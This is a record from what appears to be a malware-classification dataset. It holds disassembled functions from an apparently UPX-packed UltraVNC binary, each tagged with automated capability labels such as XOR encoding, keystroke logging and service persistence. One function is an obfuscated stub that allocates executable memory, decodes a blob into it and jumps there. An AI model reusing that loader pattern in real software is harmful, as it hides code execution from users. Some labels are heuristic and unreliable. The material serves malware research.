joyce8/EMBER2024-capa huggingface dataset:
Function at 0x408b20
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x6000]
push edi
jmp 0x408b3a
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x408b41
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x408b30
mov eax, 1
add ebx, ebx
jne 0x408b53
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x408b48
jne 0x408b64
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x408b48
xor ecx, ecx
sub eax, 3
jb 0x408b78
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x408bea
mov ebp, eax
add ebx, ebx
jne 0x408b83
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x408b90
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x408bb4
inc ecx
add ebx, ebx
jne 0x408ba0
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x408b95
jne 0x408bb1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x408b95
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x408bd4
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x408bc5
jmp 0x408b36
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x408bd4
add edi, ecx
jmp 0x408b36
pop esi
mov edi, esi
mov ecx, 0x69
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x408bf2
cmp byte [edi], 0
jne 0x408bf2
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x408bf7
lea edi, [esi + 0x6000]
mov eax, dword [edi]
or eax, eax
je 0x408c66
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x863c]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x86b0]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x408c24
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x86b8]
or eax, eax
je 0x408c60
mov dword [ebx], eax
add ebx, 4
jmp 0x408c41
call dword [esi + 0x86b4]
mov ebp, dword [esi + 0x86bc]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x1ef]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x408c9a
sub esp, 0xffffff80
jmp 0x4021af
Function at 0x430eab
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x60
pushal
call 0x430eba
pop dword [ebp - 0x50]
mov eax, 0xdc1cfc83
add eax, 0x24261237
sub dword [ebp - 0x50], eax
mov dword [ebp - 0x60], 0xf63115f6
add dword [ebp - 0x60], 0x58212f55
mov dword [ebp - 0x5c], 0x8b0d7f1d
add dword [ebp - 0x5c], 0xa725cd28
mov dword [ebp - 0x58], 0xef9b5164
add dword [ebp - 0x58], 0x5cb0f2ca
mov dword [ebp - 0x54], 0xf14eb3ce
sub dword [ebp - 0x54], 0xf14eb3ce
lea eax, [ebp - 0x60]
push eax
mov eax, 0xae5d1b12
add eax, 0x51e69702
add eax, dword [ebp - 0x50]
call dword [eax]
mov dword [ebp - 0x60], 0x332619a8
sub dword [ebp - 0x60], 0xbeb3b052
mov dword [ebp - 0x5c], 0xeaeede6
sub dword [ebp - 0x5c], 0xcd428c71
mov dword [ebp - 0x58], 0xeade9ab8
add dword [ebp - 0x58], 0x7890d1b4
mov dword [ebp - 0x54], 0xf6419805
sub dword [ebp - 0x54], 0xf6419805
lea ebx, [ebp - 0x60]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x50]
call dword [eax]
push 0x40
push 0x1000
push 0x444b1
push 0
call eax
mov ecx, 0x477a
mov edi, eax
mov edx, 0x464e00
add edx, dword [ebp - 0x50]
mov esi, 0xf053cee1
mov ebx, dword [edx]
xor dword [ebp - 0x18], ecx
add ebx, esi
sub dword [ebp - 0x20], 0xe4d5b767
mov dword [edi], ebx
add dword [ebp - 0xc], ecx
add edi, 0x305a9fe2
sub edi, 0x305a9fde
add edx, 0x2a0ffc0f
sub edx, 0x2a0ffc0b
loop 0x430fc5
add eax, 0xcbf3c983
sub eax, 0xcbf2b8c8
mov ebx, eax
add eax, 0xf4bbb30c
sub eax, 0xf4bbb307
mov ecx, 0x63c3e68b
sub ecx, 0x6383e68b
add ecx, dword [ebp - 0x50]
call ebx
leave
ret
Function at 0x401000
Capabilities:
Encrypt data using des

Disassembly:
sub esp, 0xf4
xor ecx, ecx
push ebx
push ebp
push esi
mov esi, dword [esp + 0x104]
push edi
xor eax, eax
mov al, byte [ecx + str.80_]
mov edx, eax
and eax, 7
sar edx, 3
mov bl, byte [eax*2 + 0x464130]
mov dl, byte [edx + esi]
test bl, dl
setne al
mov byte [esp + ecx + 0x4c], al
inc ecx
cmp ecx, 0x38
jl 0x401013
mov eax, 0x1e
xor edx, edx
mov dword [esp + 0x10], eax
cmp dword [esp + 0x10c], 1
je 0x401054
lea eax, [edx + edx]
lea edi, [esp + eax*4 + 0x88]
lea ebp, [esp + eax*4 + 0x84]
xor eax, eax
xor ecx, ecx
mov cl, byte [edx + 0x4641d8]
mov dword [edi], 0
mov dword [ebp], 0
mov esi, ecx
cmp ecx, 0x1c
jge 0x401086
mov bl, byte [esp + ecx + 0x4c]
jmp 0x40108a
mov bl, byte [esp + ecx + 0x30]
mov byte [esp + eax + 0x14], bl
inc eax
inc ecx
cmp eax, 0x1c
jl 0x40107b
mov eax, 0x1c
lea ecx, [esi + 0x1c]
cmp ecx, 0x38
jge 0x4010a8
mov bl, byte [esp + ecx + 0x4c]
jmp 0x4010ac
mov bl, byte [esp + ecx + 0x30]
mov byte [esp + eax + 0x14], bl
inc eax
inc ecx
cmp eax, 0x38
jl 0x40109d
xor eax, eax
xor ecx, ecx
mov cl, byte [eax + 0x4641e8]
mov bl, byte [esp + ecx + 0x14]
test bl, bl
je 0x4010d8
mov ecx, dword [eax*4 + 0x464140]
mov esi, dword [ebp]
or esi, ecx
mov dword [ebp], esi
xor ecx, ecx
mov cl, byte [eax + 0x464200]
mov bl, byte [esp + ecx + 0x14]
test bl, bl
je 0x4010f5
mov ecx, dword [eax*4 + 0x464140]
mov esi, dword [edi]
or esi, ecx
mov dword [edi], esi
inc eax
cmp eax, 0x18
jl 0x4010b9
mov eax, dword [esp + 0x10]
inc edx
sub eax, 2
cmp eax, 0xfffffffe
mov dword [esp + 0x10], eax
jg 0x401047
lea edx, [esp + 0x84]
push edx
call fcn.00401130
add esp, 4
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xf4
ret
Function at 0x401830
Capabilities:
Enumerate files on windows

Disassembly:
sub esp, 0x248
push esi
push edi
lea eax, [esp + 0xc]
push 0x104
push eax
push 0
mov dword [esp + 0x14], 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
je 0x40192e
lea ecx, [esp + 0xc]
push 0x5c
push ecx
call fcn.00447e30
add esp, 8
test eax, eax
je 0x40192e
mov byte [eax], 0
lea edi, [esp + 0xc]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
cmp byte [esp + ecx + 0xb], 0x5c
je 0x40189f
lea edi, [esp + 0xc]
or ecx, 0xffffffff
xor eax, eax
mov dx, word [0x464a64]
repne scasb al, byte es:[edi]
mov word [edi - 1], dx
lea edi, [esp + 0xc]
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x110]
repne scasb al, byte es:[edi]
mov eax, dword [str..dsm]
mov cx, word [0x464a60]
dec edi
push edx
mov dword [edi], eax
lea eax, [esp + 0x10]
push eax
mov word [edi + 4], cx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x40192e
mov edi, dword [esp + 0x254]
push ebx
mov ebx, dword [sym.imp.USER32.dll_SendMessageA]
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_FindNextFileA]
lea ecx, [esp + 0x144]
push ecx
push 0
push 0x143
push edi
call ebx
mov ecx, dword [esp + 0x10]
lea edx, [esp + 0x118]
inc ecx
push edx
push esi
mov dword [esp + 0x18], ecx
call ebp
test eax, eax
jne 0x4018ec
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
mov eax, dword [esp + 0x10]
pop ebp
pop ebx
pop edi
pop esi
add esp, 0x248
ret 4
pop edi
xor eax, eax
pop esi
add esp, 0x248
ret 4
Function at 0x401940
Capabilities:
Copy file
Delete file
Link many functions at runtime

Disassembly:
mov al, byte [esp + 8]
sub esp, 0xcc
test al, al
push ebx
push esi
push edi
mov esi, ecx
je 0x4019f5
push ebp
mov ebp, dword [esp + 0xe0]
lea edi, [esp + 0x18]
lea edx, [esp + 0x18]
sub edi, ebp
sub edx, 4
mov ebx, 1
mov dword [esp + 0x10], edi
mov dword [esp + 0x14], edx
jmp 0x401983
mov edx, dword [esp + 0x14]
mov edi, dword [esp + 0x10]
mov eax, ebp
mov cl, byte [eax]
mov byte [edi + eax], cl
inc eax
test cl, cl
jne 0x401985
mov edi, ebp
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov byte [ecx + edx], al
mov eax, ebx
push eax
lea eax, [esp + 0x1c]
push eax
lea ecx, [esp + 0x20]
push str._s_tmp.d_d
push ecx
inc ebx
call fcn.004479d0
add esp, 0x10
lea edx, [esp + 0x18]
push 0
push edx
push ebp
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
setne al
cmp ebx, 0x63
jg 0x4019d5
test al, al
je 0x40197b
lea ebx, [esi + 0x1b0]
lea ecx, [esp + 0x18]
mov edx, ebx
lea eax, [esp + 0x18]
sub edx, ecx
pop ebp
mov cl, byte [eax]
mov byte [edx + eax], cl
inc eax
test cl, cl
jne 0x4019e8
push ebx
jmp 0x401a1f
lea ebx, [esi + 0x1b0]
or ecx, 0xffffffff
mov edi, ebx
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov edi, ebx
mov edx, ecx
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
mov eax, dword [esp + 0xdc]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
test eax, eax
mov dword [esi + 0x1ac], eax
je 0x401b43
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.Description
push eax
call edi
mov ecx, dword [esi + 0x1ac]
push str.Startup
push ecx
mov dword [esi + 0x274], eax
call edi
mov edx, dword [esi + 0x1ac]
push str.Shutdown
push edx
mov dword [esi + 0x27c], eax
call edi
mov dword [esi + 0x278], eax
mov eax, dword [esi + 0x1ac]
push str.SetParams
push eax
call edi
mov ecx, dword [esi + 0x1ac]
push str.GetParams
push ecx
mov dword [esi + 0x280], eax
call edi
mov edx, dword [esi + 0x1ac]
push str.TransformBuffer
push edx
mov dword [esi + 0x284], eax
call edi
mov dword [esi + 0x288], eax
mov eax, dword [esi + 0x1ac]
push str.RestoreBuffer
push eax
call edi
mov ecx, dword [esi + 0x1ac]
push str.FreeBuffer
push ecx
mov dword [esi + 0x28c], eax
call edi
mov ecx, dword [esi + 0x27c]
mov dword [esi + 0x290], eax
test ecx, ecx
je 0x401b2a
mov ecx, dword [esi + 0x278]
test ecx, ecx
je 0x401b2a
mov ecx, dword [esi + 0x280]
test ecx, ecx
je 0x401b2a
mov ecx, dword [esi + 0x284]
test ecx, ecx
je 0x401b2a
mov ecx, dword [esi + 0x288]
test ecx, ecx
je 0x401b2a
mov ecx, dword [esi + 0x28c]
test ecx, ecx
je 0x401b2a
test eax, eax
je 0x401b2a
push 1
mov ecx, esi
call fcn.00401760
pop edi
pop esi
mov al, 1
pop ebx
add esp, 0xcc
ret 8
mov edx, dword [esi + 0x1ac]
push edx
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
cmp byte [ebx], 0
je 0x401b43
push ebx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
pop edi
pop esi
xor al, al
pop ebx
add esp, 0xcc
ret 8
Function at 0x401b60
Capabilities:
Delete file

Disassembly:
push esi
mov esi, ecx
mov eax, dword [esi + 0x294]
test eax, eax
je 0x401b77
push eax
call dword [esi + 0x290]
add esp, 4
mov eax, dword [esi + 0x298]
test eax, eax
je 0x401b8b
push eax
call dword [esi + 0x290]
add esp, 4
push 0
mov ecx, esi
mov dword [esi + 0x294], 0
mov dword [esi + 0x298], 0
call fcn.00401760
call dword [esi + 0x278]
test eax, eax
je 0x401be1
mov eax, dword [esi + 0x1ac]
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov cl, byte [esi + 0x1b0]
test eax, eax
lea eax, [esi + 0x1b0]
setne bl
test cl, cl
je 0x401bdc
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov al, bl
pop ebx
pop esi
ret
xor al, al
pop esi
ret
Function at 0x4061a0
Capabilities:
Get hostname

Disassembly:
mov eax, dword [esp + 4]
push ebx
push esi
mov esi, ecx
push edi
xor ebx, ebx
push 0x2000
mov dword [esi], 0x459580
mov dword [esi + 0xc], ebx
mov dword [esi + 4], eax
mov byte [esi + 0x10], bl
mov byte [esi + 0x30], bl
call fcn.0044826c
mov edi, eax
mov ecx, 0x800
xor eax, eax
mov dword [esi + 0x14], edi
rep stosd dword es:[edi], eax
push 0x2000
call fcn.0044826c
mov edi, eax
mov ecx, 0x800
xor eax, eax
mov dword [esi + 0x18], edi
rep stosd dword es:[edi], eax
push 0x2000
call fcn.0044826c
mov edi, eax
mov ecx, 0x800
xor eax, eax
mov dword [esi + 0x1c], edi
rep stosd dword es:[edi], eax
push 0x80
call fcn.0044826c
mov edi, eax
mov ecx, 0x20
xor eax, eax
mov dword [esi + 0x20], edi
rep stosd dword es:[edi], eax
push 0x80
call fcn.0044826c
mov edi, eax
mov ecx, 0x20
xor eax, eax
mov dword [esi + 0x24], edi
rep stosd dword es:[edi], eax
push 0x2000
call fcn.0044826c
mov edi, eax
mov ecx, 0x800
xor eax, eax
mov dword [esi + 0x28], edi
rep stosd dword es:[edi], eax
mov edx, dword [esi + 0x24]
add esp, 0x18
lea ecx, [esp + 0x10]
mov dword [esp + 0x10], 0x80
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
test eax, eax
je 0x40628f
cmp dword [esp + 0x10], 0x80
jb 0x40628f
mov ecx, dword [esi + 0x24]
mov al, 0x2e
mov byte [ecx + 0x7c], al
mov edx, dword [esi + 0x24]
mov byte [edx + 0x7d], al
mov ecx, dword [esi + 0x24]
mov byte [ecx + 0x7e], al
mov edx, dword [esi + 0x24]
mov byte [edx + 0x7f], bl
push str.RICHED32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
cmp eax, ebx
mov dword [esi + 0x2c], eax
jne 0x4062b4
push 0x30
push 0x483328
push 0x4834d8
push ebx
call dword [sym.imp.USER32.dll_MessageBoxA]
mov eax, esi
pop edi
pop esi
pop ebx
ret 4

Function at 0x4068c0
Capabilities:
Create thread
Resume thread

Disassembly:
push ecx
lea eax, [esp]
push eax
push 0
push ecx
push 0x406870
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push eax
call dword [sym.imp.KERNEL32.dll_ResumeThread]
xor eax, eax
pop ecx
ret

Function at 0x408660
Capabilities:
Persist via windows service
Set registry value

Disassembly:
push esi
push str.C:c_sourceforgeultravncwinvncwinvnc_videodriver.cpp_:_vncVideodriver____n
push 0
push 0x4721bc
mov esi, ecx
call fcn.004070e0
mov eax, dword [esi + 0x20]
add esp, 0xc
test eax, eax
mov dword [esi + 8], 0
je 0x40868c
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, esi
call fcn.004088c0
mov ecx, esi
call fcn.00409010
test eax, eax
je 0x4086a6
mov ecx, esi
pop esi
jmp fcn.00408bc0
pop esi
ret
Function at 0x409110
Capabilities:
Get file version info

Disassembly:
sub esp, 0x114
push ebx
mov ebx, dword [esp + 0x11c]
push ebp
push esi
test ebx, ebx
push edi
je 0x4091e1
mov ebp, dword [esp + 0x12c]
test ebp, ebp
je 0x4091e1
lea eax, [esp + 0x1c]
push 0x105
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea ecx, [esp + 0x18]
push ecx
push ebx
call sub.VERSION.dll_GetFileVersionInfoSizeA
mov edi, eax
test edi, edi
je 0x4091e1
push edi
call fcn.0044826c
add esp, 4
mov esi, eax
push esi
push edi
push 0
push ebx
call sub.VERSION.dll_GetFileVersionInfoA
lea edx, [esp + 0x14]
lea eax, [esp + 0x10]
push edx
push eax
push str.StringFileInfo040904b0ProductVersion
push esi
call sub.VERSION.dll_VerQueryValueA
test eax, eax
jne 0x4091a6
lea ecx, [esp + 0x14]
lea edx, [esp + 0x10]
push ecx
push edx
push str.StringFileInfo000004b0ProductVersion
push esi
call sub.VERSION.dll_VerQueryValueA
test eax, eax
je 0x4091d4
mov eax, dword [esp + 0x130]
mov ecx, dword [esp + 0x10]
push eax
push ecx
push ebp
call fcn.004485d0
push esi
call fcn.00447e1a
add esp, 0x10
mov eax, 1
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x114
ret 0xc
push esi
mov byte [ebp], 0
call fcn.00447e1a
add esp, 4
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x114
ret 0xc
Function at 0x40a960
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x457168
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x10
mov al, byte [esp + 0x28]
push ebp
push esi
push edi
xor edi, edi
mov ebp, ecx
mov byte [esp + 0xc], al
mov dword [esp + 0x10], edi
mov dword [esp + 0x14], edi
mov dword [esp + 0x18], edi
push 1
lea ecx, [esp + 0x10]
push 1
push ecx
mov ecx, dword [esp + 0x40]
mov dword [esp + 0x30], edi
call fcn.00405250
mov esi, dword [esp + 0x10]
cmp esi, edi
je 0x40a9e9
mov eax, dword [esp + 0x14]
mov edx, eax
sub edx, esi
sar edx, 4
mov dword [esp + 0x34], edx
je 0x40a9e9
cmp esi, eax
je 0x40a9e9
mov edi, dword [esp + 0x30]
push ebx
mov ebx, dword [esp + 0x30]
push esi
push edi
push ebx
mov ecx, ebp
call fcn.00409f00
mov eax, dword [esp + 0x18]
add esi, 0x10
cmp esi, eax
jne 0x40a9cf
mov esi, dword [esp + 0x14]
pop ebx
push esi
call fcn.00447e1a
mov ecx, dword [esp + 0x20]
add esp, 4
mov dword fs:[0], ecx
pop edi
pop esi
pop ebp
add esp, 0x1c
ret 0xc

Function at 0x40cc20
Capabilities:
Log keystrokes via polling

Disassembly:
sub esp, 0x100
lea eax, [esp]
push esi
push eax
call dword [sym.imp.USER32.dll_GetKeyboardState]
mov esi, dword [esp + 0x108]
mov ecx, esi
and ecx, 0xff
test byte [esp + ecx + 4], 1
je 0x40cc62
push edi
mov edi, dword [sym.imp.USER32.dll_keybd_event]
push 0
push 1
push 0
push esi
call edi
push 0
push 3
push 0
push esi
call edi
pop edi
pop esi
add esp, 0x100
ret
Function at 0x40cc70
Capabilities:
Get hostname
Resolve dns

Disassembly:
sub esp, 0x10c
lea eax, [esp + 0xc]
push ebx
push ebp
push 0x100
push eax
call dword [sym.imp.WSOCK32.dll_gethostname]
test eax, eax
je 0x40ccb2
mov ecx, dword [esp + 0x11c]
mov edx, dword [esp + 0x118]
push ecx
push str.Host_name_unavailable
push edx
call fcn.004485d0
add esp, 0xc
pop ebp
pop ebx
add esp, 0x10c
ret
lea eax, [esp + 0x14]
push eax
call dword [sym.imp.WSOCK32.dll_gethostbyname]
mov ebx, eax
test ebx, ebx
jne 0x40cce9
mov ecx, dword [esp + 0x11c]
mov edx, dword [esp + 0x118]
push ecx
push str.IP_address_unavailable
push edx
call fcn.004485d0
add esp, 0xc
pop ebp
pop ebx
add esp, 0x10c
ret
mov ebp, dword [esp + 0x118]
mov byte [ebp], 0
mov eax, dword [ebx + 0xc]
cmp dword [eax], 0
je 0x40cdbd
push esi
push edi
mov dword [esp + 0x10], 0
xor esi, esi
cmp word [ebx + 0xa], si
jle 0x40cd5f
mov ecx, dword [ebx + 0xc]
mov edx, dword [esp + 0x10]
mov eax, dword [edx + ecx]
xor ecx, ecx
lea edx, [esp + 0x14]
mov cl, byte [eax + esi]
push ecx
push 0x465bfc
push edx
call fcn.004479d0
mov edi, ebp
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
mov eax, dword [esp + 0x130]
not ecx
dec ecx
sub eax, ecx
lea ecx, [esp + 0x20]
dec eax
push eax
push ecx
push ebp
call fcn.00448810
movsx edx, word [ebx + 0xa]
add esp, 0x18
inc esi
cmp esi, edx
jl 0x40cd12
mov edi, ebp
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov byte [ecx + ebp - 1], al
mov eax, dword [ebx + 0xc]
mov ecx, dword [esp + 0x10]
mov edx, dword [ecx + eax + 4]
test edx, edx
je 0x40cda3
mov edi, ebp
or ecx, 0xffffffff
xor eax, eax
mov edx, dword [esp + 0x124]
repne scasb al, byte es:[edi]
not ecx
dec ecx
sub edx, ecx
dec edx
push edx
push 0x465bf8
push ebp
call fcn.00448810
add esp, 0xc
mov eax, dword [esp + 0x10]
mov ecx, dword [ebx + 0xc]
add eax, 4
mov dword [esp + 0x10], eax
cmp dword [eax + ecx], 0
jne 0x40cd0a
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x10c
ret
Function at 0x414710
Capabilities:
Create thread

Disassembly:
sub esp, 0x34
push ebx
xor ebx, ebx
cmp word [0x472210], bx
push esi
mov esi, ecx
jne 0x414787
mov eax, dword [0x4830d8]
push ebx
mov dword [esp + 0x10], 0x30
mov dword [esp + 0x14], ebx
mov dword [esp + 0x18], 0x415590
mov dword [esp + 0x1c], ebx
mov dword [esp + 0x20], ebx
mov dword [esp + 0x24], eax
mov dword [esp + 0x28], ebx
mov dword [esp + 0x2c], ebx
call dword [sym.imp.GDI32.dll_GetStockObject]
lea ecx, [esp + 0xc]
mov dword [esp + 0x2c], eax
push ecx
mov dword [esp + 0x34], ebx
mov dword [esp + 0x38], str.WinVNC_desktop_sink
mov dword [esp + 0x3c], ebx
call dword [sym.imp.USER32.dll_RegisterClassExA]
cmp ax, bx
mov word [0x472210], ax
jne 0x414787
push str.C:c_sourceforgeultravncwinvncwinvnc_vncdesktop.cpp_:_failed_to_register_window_class_n
jmp 0x4147ca
mov edx, dword [0x4830d8]
push ebx
push edx
push ebx
push ebx
push 0xc8
push 0x190
push bind
push bind
push 0xcf0000
push 0x4667d0
push str.WinVNC_desktop_sink
push ebx
call dword [sym.imp.USER32.dll_CreateWindowExA]
cmp eax, ebx
mov dword [esi + 0xe4], eax
jne 0x4147e0
push str.C:c_sourceforgeultravncwinvncwinvnc_vncdesktop.cpp_:_failed_to_create_hook_window_n
push ebx
push 0x4721bc
call fcn.004070e0
add esp, 0xc
xor eax, eax
pop esi
pop ebx
add esp, 0x34
ret
push esi
push 0xffffffffffffffeb
push eax
call dword [sym.imp.USER32.dll_SetWindowLongA]
mov eax, dword [esi + 0xe4]
push eax
call dword [sym.imp.USER32.dll_SetClipboardViewer]
mov ecx, esi
mov dword [esi + 0xec], eax
mov byte [esi + 0xa8], bl
call fcn.00415af0
test eax, eax
je 0x414852
mov edx, dword [esi + 0xe4]
push ebp
lea ecx, [esp + 0xc]
push edi
mov edi, dword [sym.imp.KERNEL32.dll_CreateThread]
push ecx
push ebx
push edx
push 0x414560
push ebx
push ebx
call edi
mov ecx, dword [esi + 0xe4]
mov ebp, eax
lea eax, [esp + 0x10]
push eax
push ebx
push ecx
push 0x414620
push ebx
push ebx
call edi
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push eax
call esi
push ebp
call esi
pop edi
pop ebp
pop esi
mov eax, 1
pop ebx
add esp, 0x34
ret
Function at 0x415030
Capabilities:
Open clipboard
Write clipboard data

Disassembly:
push ecx
push ebx
push ebp
mov ebp, dword [esp + 0x10]
push esi
push edi
mov dword [esp + 0x10], ecx
mov edi, ebp
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov edi, ecx
lea eax, [edi + edi + 1]
push eax
call fcn.0044826c
mov ebx, eax
add esp, 4
xor esi, esi
xor eax, eax
test edi, edi
jle 0x415079
cmp byte [eax + ebp], 0xa
jne 0x41506d
mov byte [esi + ebx], 0xd
inc esi
mov cl, byte [eax + ebp]
mov byte [esi + ebx], cl
inc esi
inc eax
cmp eax, edi
jl 0x415062
mov edx, dword [esp + 0x10]
mov byte [esi + ebx], 0
mov eax, dword [edx + 0xe4]
push eax
call dword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x4150d2
call dword [sym.imp.USER32.dll_EmptyClipboard]
test eax, eax
je 0x4150d2
inc esi
push esi
push 0x2002
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov edi, eax
test edi, edi
je 0x4150d2
push edi
mov esi, ebx
call dword [sym.imp.KERNEL32.dll_GlobalLock]
mov cl, byte [esi]
inc esi
mov byte [eax], cl
inc eax
test cl, cl
jne 0x4150b8
push edi
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
push edi
push 1
call dword [sym.imp.USER32.dll_SetClipboardData]
push ebx
call fcn.00447e1a
add esp, 4
call dword [sym.imp.USER32.dll_CloseClipboard]
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret 4

Function at 0x415980
Capabilities:
Power down monitor

Disassembly:
push ebx
mov ebx, dword [esp + 8]
push esi
mov esi, ecx
mov eax, dword [esi + 0x648]
test eax, eax
je 0x41599d
mov ecx, ebx
and ecx, 0xff
push ecx
call eax
mov ecx, dword [esi + 0xdc]
mov edx, dword [ecx]
call dword [edx + 0x1ac]
test eax, eax
je 0x415a53
test bl, bl
je 0x415a0b
push 0
push 0x100
call dword [sym.imp.KERNEL32.dll_SetProcessShutdownParameters]
add esi, 0x618
push 0
push esi
mov esi, dword [sym.imp.USER32.dll_SystemParametersInfoA]
push 0
push 0x50
call esi
push 0
push 0
push 0x64
push 0x52
call esi
push 0
push 0
push 1
push 0x56
call esi
push 2
push 0xf170
push 0x112
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SendMessageA]
pop esi
pop ebx
ret 4
mov eax, dword [esi + 0x618]
push edi
mov edi, dword [sym.imp.USER32.dll_SystemParametersInfoA]
test eax, eax
je 0x415a25
push 0
push 0
push eax
push 0x52
call edi
push 0
push 0
push 0
push 0x56
call edi
push 0xffffffffffffffff
push 0xf170
push 0x112
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SendMessageA]
mov dword [esi + 0x618], 0
pop edi
pop esi
pop ebx
ret 4